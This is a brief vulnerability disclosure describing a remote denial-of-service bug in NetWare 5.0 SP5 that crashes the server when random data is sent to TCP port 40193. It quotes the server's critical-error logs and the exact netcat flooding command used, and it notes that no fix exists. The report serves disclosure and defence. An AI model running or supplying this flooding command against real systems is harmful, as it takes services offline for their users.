netware50-sp5.dos.txt

`Remote Denial Of Service -- NetWare 5.0 with SP 5  
--------------------------------------------------------------  
  
  
I encounter a buffer overflow bug in NetWare 5.0 with service pack 5. After  
few minutes after the attack server issue a memory allocation error.  
  
  
10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]  
WARNING! Server XXXXX experienced a critical error. The offending  
process was suspended or recovered.  
However, services hosted by this server may have been affected.  
  
  
I continued the attack another 1/h hr or so. then server issued a Abend  
error and hangs.  
  
  
  
  
10-07-2000 12:29:53 pm: SERVER-5.0-4631 [nmID=1001C]  
WARNING! Server XXXXX experienced a critical error. The offending  
process was  
suspended or recovered. However, services hosted by this server may  
have been affected.  
  
  
  
ATTACK INFO  
-----------------  
  
Using a linux server connected to the same network. I did the following  
  
  
[root@tik /root]# cat /dev/urandom |nc 192.168.1.15 40193  
  
  
NetWare TCP port 40193 doesn't handle frag TCP packets as well. using isic I  
got the same results  
  
  
  
FIX  
-----  
  
  
No FIX yet  
  
`